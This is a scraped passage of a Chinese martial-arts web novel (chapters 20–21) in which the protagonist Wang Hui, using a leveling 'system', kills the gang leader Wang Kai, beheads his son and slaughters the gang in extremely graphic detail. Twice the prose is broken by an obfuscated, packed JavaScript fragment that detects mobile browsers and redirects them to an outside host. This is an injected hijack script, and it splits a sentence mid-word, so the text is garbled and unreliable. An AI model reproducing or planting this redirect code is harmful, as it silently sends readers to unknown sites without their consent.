l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513471|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?不如再好好谈谈条件?比如……” 王凯摇了摇头,打断道:“王大人,就不必再用这等拙劣的伎俩拖延时间了,今夜……” “比如——老子砍死你!!” 王凯的“今夜”二字还未完全出口,王辉的怒吼声就如同惊雷般炸响! “呛啷!” 刺耳的刀鸣瞬间撕裂了长街的沉寂! 王辉手中的横刀如同蛰伏已久的蛟龙,骤然出鞘,带起一匹刺骨的寒光,以迅雷不及掩耳之势,直接朝着丈许外的王凯当头劈下! 刀身平薄,却在沛然内力的灌注下嗡嗡作响,极尽弯曲弹放之态,像一条狂暴的钢鞭,裹挟着撕裂一切的尖啸声,直取王凯面门。 “好刀法!” 面对这突如其来的致命一击,王凯竟还有闲暇发出一声轻赞。 他腰间那柄奇特的断剑不知何时已然出鞘。 那是一把长约两尺的绯红色断剑,剑身仿佛被鲜血浸染过,在昏暗的光线下闪烁着妖异的光芒。 “叮!” 血色的剑锋精准地迎上横刀,刀剑相交,爆起一溜耀眼的火星。王凯手腕微转,那柄断剑竟如同毒蛇般顺着横刀的刀脊向上疾速滑撩,剑尖直挑王辉持刀的手腕,狠辣刁钻至极! 王辉冷哼一声,握刀的手腕猛地一抖一沉,内力勃发。 “铿锵!” 一声更加剧烈的金铁交鸣声爆响! 两人身形俱是一震,同时向后滑退数步,脚下青石板纷纷碎裂。 “五品修为,却有着不逊于四品的爆发力,”王凯稳住身形,脸上依旧带着那抹令人捉摸不透的微笑,赞叹道:“不错,当真不错!听闻王大人年后才满二十?如此年纪便有这般修为,刀法更是精湛老辣。假以时日,这都江府的青年才俊榜上,必有你一席之地。只是可惜了……” 他的语气陡然转冷,杀意凛然: “杀!” 随着王凯一声令下, 周围那黑压压的上百名清水帮精锐帮众,如同决堤的洪水般,发出震天的喊杀声,从四面八方朝着被围在中心的锦衣卫们冲杀而来! 沉寂的夜幕被彻底打破,冰冷的杀机瞬间沸腾! “诸位同僚!”王辉横刀立马,声音压过喧嚣,清晰地传入每一个锦衣卫耳中:“随我——杀出去!” 没有选择,那就无须再选!唯有一战! 残存的二十余名锦衣卫爆发出绝望的怒吼,依仗着小型战阵,悍然迎向数倍于己的敌人。即便是那些身受重伤、行动不便的,也挣扎着握紧刀剑,准备做最后的搏命。然而,在绝对的人数劣势下,他们的努力显得如此苍白。 江湖中永远不缺亡命之徒,更不缺渴望借此机会上位、或是换取丰厚赏赐的莽汉。在王凯的命令下,上百名帮众红着眼睛,挥舞着兵刃,如同潮水般汹涌扑来。 “杀!” 王辉脚下一跺,内力狂涌而出,脚下几块青石板应声碎裂飞起。他手中横刀狂舞,斩碎石块,无数尖锐的碎石如同密集的箭矢般向着前方激射而去! “噗噗噗……” “啊!” 惨叫声顿时响起,冲在最前面的十几个清水帮众瞬间被碎石打得头破血流,惨叫着倒地,更有几人被蕴含内力的碎石直接洞穿身体,当场毙命! “噗呲!”“噗呲!” 刀光闪烁,血花不断迸溅。 王辉如同虎入羊群,手中横刀化作一道道死亡旋风,所过之处,断肢横飞,无人是一合之将。他认准了王凯的方向,不顾一切地向前冲杀,意图实行斩首战术! 王凯立于原地,静静地看着在人群中悍勇冲杀的王辉,微微摇头,轻叹道:“勇气可嘉,可惜……只是困兽之斗。” 他缓缓抬起手中的绯红断剑,剑尖遥指王辉: “罢了,便由我亲自……送王大人一程吧!” 20. 黄雀出现 【那就看谁送谁上路吧!】 王辉冷哼一声,手中横刀发出一阵低沉嗡鸣,仿佛在回应主人的杀意。 他起步,缓步,继而快步,最后化作一道离弦之箭,开始全力冲刺! 他仿佛策马冲锋于千军万马的战场,气势如虹。那看似消瘦的身体在奔跑中爆发出惊人的力量与速度,脚步密集如擂战鼓,每一步踏下都震起尘埃,声势浩大! 横刀在他手中快速旋转,斩破沉寂的夜空,刀刃反射着周围零星的火光与惨淡月色,在黑暗中划出一道道昏黄而致命的轨迹。凄厉的破空声根本不给那些冲杀过来的江湖汉子任何反应时间! 不过几个呼吸间, 刀光闪烁,血花迸溅! 四五颗头颅冲天而起,脸上还凝固着惊愕与恐惧的表情。无头的尸体兀自前冲了几步,才喷涌着鲜血重重倒地。 那一瞬间,原本因寡不敌众而士气低迷的锦衣卫,目睹自家大人如此悍勇无敌,瞬间战意高涨,萎靡的气势一下子被点燃,爆发出惊人的怒吼! “保护大人!” “杀光这群乱贼!” 普通人斗殴,讲究气势。有的人够狠,气势足,即便面对比自己强壮的人也能赢。而战场之上,气势就更为重要,一个好的领导者,总能以少胜多,除了计谋,最重要的就是气势。 这种江湖混战,则介于两者之间。很多时候,江湖争斗没有太多计策,拼的就是人多和一股狠劲、一股气势。 就如同现在, 锦衣卫这方能战之人,满打满算不到三十,还大多带伤。而清水帮却有着上百号生力军,在人数上占据绝对优势。锦衣卫仅仅是靠着合击战阵和最后的血勇在勉强支撑。 而王辉这个领头者的作用,在此时就显得尤为重要。他身先士卒,如猛虎入羊群,砍瓜切菜般瞬杀数名敌人,瞬间就将己方几乎崩溃的战意硬生生拉了回来! “拦住其他人!我亲自去杀他!”王凯厉声下令。 作为一个靠智谋和手段崛起的人,王凯深知这种混战中一个精神领袖的重要性。就连训练有素的军队,主帅出事都可能导致全线崩溃,更何况是江湖团伙乃至锦衣卫这种组织?领头者一旦被斩,其他人极可能一哄而散。 锦衣卫虽是官方组织,但本质上与江湖帮派区别不大,虽有团队协作,却远不如军队那般纪律深严,凝聚力更多系于领头者一身。 这个道理,王辉明白,王凯也明白。 所以,王凯一声令下之后,他麾下几名气息沉稳、明显是四五品修为的高手,立刻带着大批帮众从几个方向凶狠地包抄而来,刀光剑影瞬间将王辉与其他锦衣卫隔离开,直接将他陷入了孤军奋战的境地! 锦衣卫的综合力量本就远逊于有备而来的清水帮,此刻更是被刻意针对分割。陈飞等人都看出了对方的意图——就是要斩杀王辉,彻底瓦解他们的抵抗意志!可他们只能眼睁睁看着,心急如焚,却无可奈何。对方那几名高手虽然无法瞬间冲破锦衣卫拼死结成的战阵,但若只是想拖住他们,却是轻而易举。 一瞬间,战场被分割成两处。 一处是锦衣卫残部结阵自保,苦苦支撑,抵挡着数倍于己的敌人的疯狂进攻,信号弹不时呼啸着升空,却在夜空中显得如此无力。谁都清楚,远水救不了近火,百户所根本来不及救援。 另一处,则是王辉独自面对包括王凯在内的众多好手的围攻! 趁着手下人拖住锦衣卫的空档,王凯动了!他身影如鬼魅般紧随而至,那柄绯红色的断剑拎在手中,带着刺骨的寒意,直接一剑对着王辉当头劈下! 剑风凛冽,呼啸刺耳! “铛铛铛铛!” 两人刀剑急速碰撞,火星四溅! 短短片刻便交手十余招。每一次对砍,王辉都感觉到一股远超之前的巨力从刀身传来,震得他虎口发麻,手臂酸软,身子不由自主地不断向后退却。最后一招硬拼,更是让他一口气连退了七八步才勉强稳住身形,持刀的手臂都在微微发抖。 “王大人,别负隅顽抗了。”王凯虽然脸上还带着那抹令人厌恶的虚假微笑,可手上的剑招却狠辣刁钻,没有丝毫松懈,招招直取王辉周身要害,“你的修为,终究还是差了点。放弃抵抗,我给你留个全尸,如何?” 说话间,剑光再闪,王辉躲闪不及,肩头和手臂又添了两道深可见骨的伤口,鲜血迅速染红了破损的飞鱼服。 这一幕,让正在苦战的锦衣卫众人看得心都提到了嗓子眼,特别是陈飞和几个小旗,他们都是练家子,一眼就能看出王辉已是强弩之末,险象环生,照这样下去,最多不过五招,恐怕就要殒命于王凯剑下! 但此时的王辉,内心却异常冷静。 他一边艰难地格挡着王凯愈发凌厉的攻势,一边默默地估算着时机。 就是现在! 他的意识瞬间沉入脑海中的系统界面: 【使用500点经验值】 【玄元功升级至第六层】 【当前境界提升至四品】 一股磅礴的内力瞬间自丹田涌出,如同决堤的洪流,疯狂冲刷着他的四肢百骸!先前战斗的疲惫和伤势带来的滞涩感一扫而空,取而代之的是一种前所未有的强大力量感! 【使用70点经验值】 【□□法升级至大成境】 无数关于刀法的感悟和精妙招式如同醍醐灌顶般涌入脑海,手中这柄横刀仿佛成为了他手臂的延伸,一种如臂指使、酣畅淋漓的感觉油然而生。 【使用30点经验值】 【雁凌术升级至小成级】 【使用70点经验值】 【雁凌术升级至大成级】 身体骤然变得轻盈无比,对于气息和步伐的掌控达到了一个全新的境界。 这一切的发生,不过是在刹那之间! 王辉变了, 但只有他一个人清楚,他完成了怎样惊人的蜕变。 他的修为从五品巅峰一举跨入了四品,这是一个质的飞跃!而他的□□法,更是直接从入门境飙升到了大成境!配合大成境界的大雁术轻功…… 他的综合战力,已然发生了天翻地覆的变化! 然而,王凯对此一无所知。他依旧是一副胜券在握的姿态,甚至还在用言语试图影响王辉的心境,瓦解他最后的斗志。 “王大人,别再坚持了,你看你的手下都快死光了,你又何必……” “去你妈的!” 王凯的话还未说完,王辉突然发出一声石破天惊的怒吼! 声如惊雷,震得王凯耳膜嗡嗡作响! 与此同时,王辉手中的横刀猛然爆发出前所未有的璀璨光芒,一股浓郁得几乎化为实质的杀机和煞气笼罩刀身! 天发杀机,开山一斩! 这正是□□法修炼至大成境界方能领悟的终极意境——以绝对的力量和速度,摧枯拉朽,斩杀一切敌人! 这一刀,快得超出了王凯的想象!狠得让他心惊肉跳! “铿锵!” 一声震耳欲聋的巨响! 刀剑再次猛烈碰撞! 但这一次,结果截然不同! 王凯只觉得一股无法抗拒的恐怖巨力从剑身传来,虎口瞬间撕裂,鲜血淋漓,那柄绯红断剑险些脱手飞出!他整个人更是不受控制地被压迫得连连后退,每一步都在青石板上踩出深深的脚印,体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513472|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内气血翻腾不休,脸上第一次露出了骇然之色! “你……你竟然一直隐藏了实力?!”王凯失声惊呼,眼中充满了难以置信。 但王辉根本懒得废话解释。 趁他病,要他命! 刹那之间,王辉的身法变得如同鬼魅,婉若惊鸿,又似浮光掠影!大成境界的雁凌术施展出来,身轻如燕,速度快得在原地留下了一道淡淡的残影! 他携带着一股令人窒息的浓重威压,再次冲向王凯。手中的横刀弥漫着凝如实质的煞气,仿佛为这漆黑绝望的夜带来了一抹撕裂黑暗的死亡之光! 这一刀,霸道、惨烈、一往无前! 令鬼哭神嚎,令在场所有人皆惊! 王凯瞳孔急剧收缩,拼尽全力举剑格挡。 “嘭!!” 又是一声更加沉闷、更加恐怖的巨响! 这一次,不再是金铁交鸣,而是利刃斩开血肉、砍断骨骼的令人牙酸的声音! “噗——” 鲜血如同喷泉般狂涌而出! 王凯的胸口出现了一道深可见骨的恐怖刀痕,巨大的冲击力让他双脚离地,整个人如同断了线的风筝般向后倒飞出去,最后重重地砸在街边的墙壁上,震得墙壁都出现了裂痕,然后才软软地滑落在地,鲜血瞬间染红了他身下的地面。 他挣扎着抬起头,看着持刀一步步走来的王辉,眼中充满了极致的震惊、不甘和一丝悔恨。 “你……你竟然一直在麻痹我?!”王凯的声音因为剧痛和震惊而颤抖。 那一瞬间,他心中五味杂陈,瞬间明悟了一切! 这王辉,修为明明远不止五品!刀法比刚才精妙了何止十倍!还有这鬼神莫测的轻功…… 此子……竟有如此深沉的心机!好狠的算计!好能隐忍! 想不到啊,想不到! 终日打雁,今日竟被雁啄瞎了眼! 这么多年以来,从来都是他算计别人,将各方势力玩弄于股掌之间,没想到今天,竟然栽在了一个他本以为只是莽夫的年轻人手里! 他猛地想起不久之前,他还在酒楼上,语重心长地教育自己的儿子:“斌儿,你要记住,狮子搏兔,亦用全力,任何时候都不要轻视你的敌人……” 没想到,报应来得如此之快! 这才过了多久?自己就亲身印证了这句话,付出了惨痛的代价! “舵主!” “舵主!您怎么样?!” “快!保护舵主!” 场面瞬间变得极度混乱。清水帮众见到自家舵主竟然被重伤击倒,顿时阵脚大乱,惊呼声、呐喊声响成一片。 “爹——!” 就在这片混乱之中,一道带着哭腔的、撕心裂肺的惊呼声格外刺耳。 是王斌!他原本奉命在外围策应,此刻看到父亲重伤倒地,再也顾不得其他,疯了一般地冲了过来。 王凯被这一声“爹”从无尽的悔恨和震惊中拉回了残酷的现实。 而此刻,王辉的第二刀已经带着冰冷的死亡气息,毫不留情地劈砍而来!刀光如匹练,直取他的头颅! 王凯看着儿子不顾一切冲来的身影,眼中闪过一抹绝望、痛苦,随即又被一种决绝的疯狂所取代! 他竟然没有试图躲避这致命一刀,反而是用尽最后力气,猛地向前一挺! “噗嗤!” 刀尖毫无阻碍地刺入了他的胸膛! 但他也借着这个机会,一双染血的手如同铁钳般死死抓住了穿透身体的刀身,脸上露出了极端狰狞的表情,用尽生平最后的力气,朝着王斌的方向发出了扭曲而嘶哑的咆哮: “王斌,快跑!!不要过来!快跑——!!” 21. 黄雀死 王凯的双手如同被烈火炙烤过的铁钳,死死攥住嵌在胸口的横刀。指节因极致的用力而扭曲变形,泛出死白的颜色,连指甲盖都被刀刃边缘割得翻卷起来,鲜血顺着指缝汩汩涌出,不是滴漏,而是顺着刀身往下淌,在刀柄处积成一小滩,又顺着纹路往下渗,将木质刀柄染成深褐。 他浑身的肌肉都在紧绷,脖颈处的血管像蚯蚓般凸起,皮肤因内力的疯狂运转而泛起不正常的潮红。三品武者的临死反扑绝非儿戏,哪怕心脉已被王辉那刀斩断,残存的内力依旧顺着手臂灌注到掌心,硬生生用血肉之躯将横刀锁住——刀刃被他的肋骨卡得死死的,王辉尝试着抽了两次,竟真的难以抽动分毫。 王凯浑浊的眼睛死死盯着王辉,嘴角不断溢出暗红的血沫。他很清楚自己回天乏术,那刀太狠太准,从左肩劈入时就错开了骨骼,直捣心脏,此刻胸腔里早已一片狼藉。他燃烧着最后的生命,根本不是为了什么翻盘,而是为了巷口那个还在哭喊的儿子王斌——他太了解江湖帮派的尿性,这群人就是乌合之众,没了他这个主心骨,上百号人眨眼就会树倒猢狲散,可王辉绝不会放过王斌。 棋差一招,满盘皆输!他现在只想用这条必死的命,换儿子一线生机——哪怕只是用自己的身体缠住王辉,哪怕只是重创他一只手臂,只要能为王斌争取片刻逃跑的时间,就够了! 内力在他体内疯狂冲撞,胸口的伤口被撑得更大,鲜血喷溅得更凶,甚至能看到碎烂的内脏随着呼吸微微颤动。可就在他凝聚的内力即将爆发,打算拼着尸骨无存也要将王辉的手臂震断的刹那,头顶传来王辉一声轻蔑的、几乎带着笑意的低语,那声音轻飘飘的,却像冰锥般扎进他的耳朵: “哦,那是你儿子啊?”王辉的视线越过他的肩膀,看向巷口那个哭喊的身影,语气里满是戏谑,“放心,我王辉向来说话算话,我一定送你们父子团圆,黄泉路上也好有个伴,省得你寂寞。” 这短短一句话,比任何恶毒的诅咒都更让王凯绝望和愤怒!他本就破碎的心脏像是被狠狠攥住,连呼吸都变得撕心裂肺。 “王辉!!”王凯发出一声歇斯底里、扭曲变形的咆哮,声音不再是人类的嘶吼,更像是野兽濒死前的哀鸣。胸腔剧烈起伏,更多的鲜血从口中喷涌而出,溅在王辉的脸上,温热的液体顺着王辉的下颌往下淌。他残存的内力彻底失控,浑身的皮肤都开始渗血,整个人看起来如同从血池里捞出来的恶鬼,试图做最后的搏命。 “去你妈的!” 就在王凯内力将发未发的电光火石间,王辉动了!他非但没有后退,反而猛地向前踏出半步,身体极度前倾,肩背的肌肉高高隆起,额头向后微仰,然后如同攻城锤般,带着破风的力道,狠狠地撞向王凯的额头! “嘭!!” 一声令人头皮发麻的闷响在长街上炸开,那是头骨与头骨碰撞的脆响,混杂着骨骼碎裂的细微“咔嚓”声。 王凯顿时感觉眼前一黑,金星乱冒,整个世界都在旋转。他仿佛被一柄重锤正面击中,脑海里一片空白,所有凝聚的内力在这一撞之下骤然溃散,意识瞬间恍惚,攥着刀的手也不由自主地松了半分。 王辉的额头也瞬间破皮流血,一道深可见骨的伤口从眉骨延伸到发际,鲜血顺着他的脸颊往下淌,糊住了他的右眼。但他仿佛毫无知觉,甚至连眼睛都没眨一下。趁此良机,他双手死死握住刀柄,指节因用力而发白,眼神冰冷如万载寒冰,猛地用力一拧!一搅! “噗嗤——咕噜……” 横刀在王凯的胸腔内残忍地转动、绞割!刀刃切开肋骨的脆响、搅碎内脏的“稀烂”声清晰可闻。王凯的心脏瞬间被绞成一团烂肉,温热的血液混合着碎烂的心肌、肝脾,顺着刀身的纹路往外涌,像稠粥般黏在王辉的手上。 王凯的身体猛地一僵,眼睛瞪得滚圆,瞳孔因极致的痛苦而收缩成针尖大小,又瞬间放大,充满了难以置信。他的嘴唇动了动,似乎想说什么,却只能发出“嗬嗬”的漏气声,最后一丝生机彻底断绝,身体软软地靠向墙壁。 王辉猛地抽出横刀,带出一蓬混杂着内脏碎块的热血!那血带着体温,溅得他满身都是,甚至有几块细小的内脏碎片粘在他的衣领上,随着他的动作微微晃动。紧接着,他看也不看倒在墙边的王凯,反手一刀挥出! 刀光如冷月,划破夜空,速度快得只剩下一道残影! “咔嚓!” 王凯的头颅应声飞起,脖颈的断口处喷出一道滚烫的血柱,足足有半丈高,然后才缓缓落下,溅在地上汇成一小片血洼。头颅在空中飞了三尺远,长发散开,脸上还凝固着死前的痛苦与不甘,眼睛依旧圆睁着,仿佛在控诉这残酷的结局。 【经验值+450】 系统提示音在王辉脑海里响起,他却连余光都没扫一下。探手一抓,精准地抓住了空中那颗仍在滴血的头颅——他攥住的不是头发,而是王凯的发髻,粗糙的布料混着鲜血,在他手中打滑。他高高举起王凯那颗怒目圆睁、死不瞑目的头颅,运足四品内力,声音如同炸雷般响彻整条血腥长街: “王凯已死!!!” “谁还敢反抗,株连三族,杀无赦!!” 鲜血如同瀑布般从王凯的断颈处喷洒而下,将王辉的半身染得更加猩红可怖。他的飞鱼服本就沾满了血,此刻更是被新的血液浸透,紧紧地贴在身上,勾勒出他消瘦却挺拔的身形,看起来如同从地狱里爬出来的魔神。 王凯的无头尸体晃了晃,轰然倒地,溅起一片血泥。尸体倒地时,胸腔里的内脏还在往外流,肠子顺着断口滑出来,拖在地上,被青石板磨得稀烂。 那一瞬间,整条街上所有的厮杀声、呐喊声仿佛被一只无形的大手骤然掐断! 所有人都愣住了,无论是清水帮的帮众,还是苦苦支撑的锦衣卫,都不由自主地停下了动作,手中的兵器悬在半空,目光骇然地望向那个手持头颅、如同血狱魔神般挺立的身影。 王凯,死了! 成名二十多年,凶名赫赫的“断剑书生”王凯,清水帮四大舵主之一,一手断剑法杀得都江府江湖人闻风丧胆的狠角色,竟然就在这长街之上,在众目睽睽之下,被人砍下了头颅! 当年王凯靠着断剑,以三品修为硬撼四品高手,踏着三十多条人命坐上舵主之位;后来又带人血洗黑风寨,将寨主的头颅挂在城门上示众三日,成就了“断剑书生”的威名。如今,仿佛天道轮回,他也以同样的方式,死在了看似弱势的对手手里,成为了别人扬名立万的踏脚石! 那短暂的死寂,令人窒息。空气里只剩下鲜血蒸发的“滋滋”声,还有众人粗重的呼吸声。几个心理承受能力差的帮众,当场就弯下腰干呕起来,却什么也吐不出来,只有酸水顺着嘴角往下淌。 王辉随手将手中那柄已经砍出多个缺口、卷了刃的横刀丢在地上,发出“哐当”一声脆响。那刀落在血洼里,溅起一片血点,刀刃上还挂着几缕肉丝和碎骨。他轻轻抹了一把脸上温热的血迹和脑浆——那是刚才撞头时,王凯的头骨碎片混着脑浆溅到他脸上的,黏糊糊的,带着一股腥甜的味道。这个动作没有丝毫狰狞,却比任何凶狠的表情都更加令人胆寒。 下一刻,他动了! 身影如鬼魅,脚下踩着大成境界的雁凌术,步频快得几乎看不到轨迹,只留下一道淡淡的血影,直接撞入旁边那几个还在发呆的清水帮众之中! “噗噗噗!” 手起刀落——他甚至不需要用自己的刀,只是随手夺过离他最近的一个帮众手中的钢刀。那帮众还没反应过来,手腕就被王辉捏断,钢刀落入王辉手中。紧接着,刀光闪烁间,七八个江湖汉子甚至连惨叫都没来得及发出,便已成了刀下亡魂! 第一个汉子被一刀从左肩劈到右腹,身体直接被劈成两半,内脏哗啦啦地掉在地上,鲜血瞬间染红了周围的青石板;第二个汉子被王辉反手一刀抹了脖子,喉管被割断,鲜血喷了三尺远,溅在旁边人的脸上,那人还没来得及尖叫,就被王辉一脚踹中胸口,肋骨断裂的声音清晰可闻,倒飞出去砸在墙上,口吐鲜血而死;第三个汉子吓得转身就跑,却被王辉追上,一刀从背后刺穿心脏,刀尖从胸口透出来,带着血珠颤动…… 残肢断臂飞起,有的胳膊掉在地上,手指还在微微抽搐;有的腿滚到锦衣卫脚边,靴底还沾着尘土;还有半个头颅落在灯笼旁,眼睛被火光映得通红,看起来格外诡异。鲜血如同泼墨般洒满长街,顺着青石板的缝隙往下流,在低洼处汇成一小片血池,倒映着灯笼的昏黄光影。 “跑……跑啊!!” 终于,一个清水帮的小头目从极致的恐惧中回过神来,发出一声变调的尖叫。他丢下手中的铁棍,转身就跑,脚步慌乱得连鞋带松了都顾不上,甚至差点被地上的尸体绊倒。 崩溃如同瘟疫般瞬间蔓延! “魔鬼!他是魔鬼!”一个帮众吓得尿了裤子,裤腿湿漉漉的,混着鲜血往下淌,他跪在地上,一边磕头一边往后退,“大人饶命!饶命啊!” “快逃啊!舵主都死了,我们打不过他!”更多的帮众丢下武器,朝着街道两端的巷口亡命奔逃,有的互相推搡,有的踩在同伴的尸体上往前冲,只恨爹娘少生了两条腿。原本密密麻麻的人群,瞬间变得混乱不堪,哭喊声、惨叫声、求饶声混杂在一起,与地上的鲜血形成一幅地狱般的景象。 “爹——!!” 巷口的王斌睚眦欲裂,双眼赤红得像要滴出血来。他看到父亲的头颅被王辉高高举起,看到父亲的尸体倒在地上,内脏流了一地,愤怒和悲痛瞬间淹没了他。他挣扎着想要冲过来跟王辉拼命,却被两个忠心的护卫死死地拽住胳膊。 “少帮主!走啊!快走!”护卫的声音带着哭腔和无尽的恐惧,他们用力拖拽着王斌,“舵主已经死了,我们打不过他!再不走,我们都得死在这!” “杀!!!” 而此刻,原本陷入绝境的锦衣卫们,目睹这惊天逆转,绝处逢生的狂喜和被压抑了许久的怒火,瞬间转化为磅礴的战意!他们纷纷发出怒吼,举起手中的兵器,开始向着溃逃的敌人发起反击。 陈飞捡起地上的一把长刀,一刀砍中一个逃跑帮众的后背,刀刃从脊椎砍入,那帮众惨叫着倒在地上,身体还在抽搐。他红着眼眶,朝着王辉的方向大喊:“大人!我们来了!” “王辉!我□□祖宗!杀父之仇不共戴天!啊!!”王斌被护卫强行拖着后退,状若疯癫,涕泪横流地疯狂咒骂。他的脸上沾满了父亲的鲜血,那温热的触感让他几近崩溃,“王辉!我必杀你全家!诛你九族!!” “你个狗杂种!老子一定会杀了你!将你碎尸万段!!” 王辉一刀将一个试图从侧面攻击他的清水帮小头目拦腰斩断,那人的上半身和下半身瞬间分离,内脏混着鲜血喷了他一身。他听着王斌那绝望的咒骂,脸上露出一抹残忍的冷笑,那笑容在沾满鲜血的脸上显得格外狰狞。 他一脚踢开脚下的无头尸体——那是之前被他砍断脖子的帮众,尸体滚了一圈,压在另一具尸体上,溅起一片血泥。然后,他将王凯那颗早已冰冷的头颅如同足球般猛地踢向王斌的方向! 头颅在空中划出一道弧线,鲜血滴落在地上,留下一道猩红的轨迹。王辉朗声道:“嚎什么丧?老子这就送你去父子团聚!黄泉路上,给你爹做个伴,省得他一个人寂寞!” “杀!” 王辉浑身浴血,容貌早已模糊不清。额头上的伤口还在流血,糊住了他的右眼,只能靠左眼视物;肋下的旧伤被刚才的动作扯裂,鲜血从绷带里渗出来,染红了半边腰腹;飞鱼服被鲜血和碎肉浸透,紧紧地贴在身上,每走一步,都能感觉到布料与皮肤摩擦的黏腻感。 但他仿佛感觉不到疼痛,也感觉不到疲倦。此刻,只能看到他满脸厚厚血痂中,那一双左眼——清澈却冰冷淡漠到了极点,没有丝毫人类的情感,只有对生命的漠视。 他如同不知疼痛、不知疲倦的杀戮机器,挥动着夺来的钢刀,疯狂追着溃逃的人群砍杀!他的目标明确——直指那个还在歇斯底里咒骂的王斌! 一条由鲜血和尸体铺就的道路,被他硬生生砍了出来!每一步踏出,脚下都踩着粘稠的血液,发出“咕叽”的声响;每一刀落下,必然带走一条生命,留下一摊鲜血。 他追上一个帮众,一刀砍在对方的腿上,那人惨叫着摔倒在地,王辉却没有停手,反手一刀将他的头颅砍下,头颅滚到一边,眼睛还在盯着王斌的方向;又一个帮众试图用铁链缠住他的腿,王辉却猛地跃起,一刀斩断铁链,同时一脚踩在那人的胸口,肋骨断裂的声音清晰可闻,紧接着,刀光落下,那人的心脏被挖了出来,掉在地上还在跳动…… 正疯狂咒骂的王斌,眼角的余光瞥见越来越近的血影,还有那不断倒下的帮众,终于对上了王辉那双冰冷淡漠的眼睛。一股彻骨的寒意瞬间从脚底板直冲天灵盖!所有的愤怒和悲伤,在这一刻竟然被一种最原始的、无法抗拒的恐惧所压倒! 理智,终于艰难地战胜了复仇的怒火。 “我……我迟早有一天会杀了你!!”他色厉内荏地大吼了一声,声音里充满了恐惧,却还在强撑着最后的尊严。他猛地挣脱了护卫的搀扶,转身就跑!速度前所未有的快,连脚下的石子硌得脚掌生疼都顾不上。 “哼,我说了,你没机会了!” 王辉冷哼一声,速度骤然再提!大成境界的雁凌术施展到极致,他的身影在原地留下淡淡残影,如同鬼魅般掠过,直接朝着王斌追杀了过去! “拦住他!快拦住他!”王斌吓得魂飞魄散,一边狂奔一边对着周围的帮众尖叫,“谁能拦住他,我赏他一百两!不,一千两!” 但此刻,那些清水帮众早已被王辉杀破了胆。看到他冲来,非但不敢阻拦,反而惊恐万状地四散奔逃,生怕挡了他的路。有个帮众跑得慢了些,被王辉追上,一刀从喉咙划过,鲜血喷了王斌一脸——那温热的、带着腥气的液体,让王斌几乎呕吐,也让他更加清醒地认识到:身后那个男人,是真的要赶尽杀绝! 他惊恐地回头,看到王辉越来越近的身影——王辉的嘴角还带着冷笑,手中的钢刀滴着血,每一步都离他更近一分。还有那双冰冷的眼 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“我说到做到,说送你们父子团聚,就一定会做到。” 刀光落下,“咔嚓”一声,王斌的头颅也被砍了下来。头颅滚到王凯的头颅旁边,两颗头颅的眼睛都圆睁着,仿佛在黄泉路上真的相遇了。 王斌的身体猛地一颤,旋即彻底没了动静。鲜血在他身下迅速蔓延开来,与他父亲王凯的血液渐渐汇聚在一起,顺着青石板的缝隙往下流,再也分不出彼此。 而现在,长街上已经变得有些安静了。 除了零星几声重伤者的呻吟——有的帮众被砍断了腿,躺在地上哀嚎;有的锦衣卫被捅伤了腹部,捂着伤口,脸色惨白——还有锦衣卫们打扫战场的喘息声,再也没有了之前的厮杀和哭喊。 王辉站在尸横遍野的长街中央,脚下是由鲜血汇聚而成的、粘稠的溪流。那溪水没过了他的靴底,带着温热的温度,顺着靴筒往上渗。他缓缓将手中已经砍得卷刃、布满缺口的钢刀插在地上,刀刃没入血地里三寸,支撑着身体。他重重地喘着粗气,胸膛剧烈起伏,汗水混合着血水顺着脸颊往下淌,滴在地上的血洼里,激起一圈微小的涟漪。 疲惫如同潮水般涌来,从四肢百骸汇聚到心脏,让他几乎站立不稳。但他依旧站得笔直,如同标杆般挺立在尸山血海之中,没有倒下。 他缓缓打开系统界面,眼前的虚拟屏幕上,数据清晰可见: 【宿主:王辉】 【境界:四品】 【功法:玄元功(第六层0/1000)】 【技能:破风刀法(大成)、雁凌术(大成)、□□法(大成)】 【经验值:754】 这一战,收获巨大。修为成功晋升四品,距离三品已然不远;□□法和大雁术也都提升至大成境界,无论是攻击力还是速度,都有了质的飞跃。如今即便不靠偷袭,正面硬撼,他也有足够的信心与一般的三品武者一战! 此时,所剩不多的锦衣卫们,状态各不相同: 有的直接脱力般瘫坐在血泊之中,大口喘息着,胸口剧烈起伏,手里还紧紧攥着兵器,眼神里满是劫后余生的庆幸;有的拖着重伤之躯,踉跄着在尸堆中翻找,希冀还能找到幸存的同袍——一个年轻的锦衣卫在尸堆里找到了自己的同伴,却发现对方早已没了呼吸,他抱着同伴的尸体,肩膀微微颤抖,却不敢哭出声;还有的躺在地上,发出压抑的痛苦呻吟,伤口处的鲜血还在往外渗,旁边的锦衣卫正用布条为他包扎,布条很快就被染红,只能再换一条。 活着,真好。 这一战,他们完成了不可思议的逆风翻盘——从被上百帮众围杀,到最后反杀敌人,斩杀对方舵主和少帮主,这样的战绩,足以让他们在锦衣卫内部吹嘘许久。 但代价也同样惨重。锦衣卫出发时一共有五十多人,如今活下来的人,恐怕不足一半,而且没有任何一个人身上不带伤——轻则皮外伤,重则断胳膊断腿,甚至有人内脏受损,能不能活下来还未可知。 所有人的目光,都不由自主地投向那个站在长街中央、被血色和夜色共同笼罩的青年身上。那道看似消瘦的身影,此刻在众人眼中,却显得无比高大、伟岸,仿佛一尊不可战胜的战神。他们看着王辉满身的鲜血,看着他插在地上的钢刀,看着周围堆积如山的尸体,眼神里充满了敬畏,还有一丝难以掩饰的恐惧——他们从未见过如此狠辣、如此残暴的人,也从未见过有人能在如此绝境中,爆发出这样恐怖的力量。 他们都知道,今夜过后,王辉之名,将震动整个都江城! 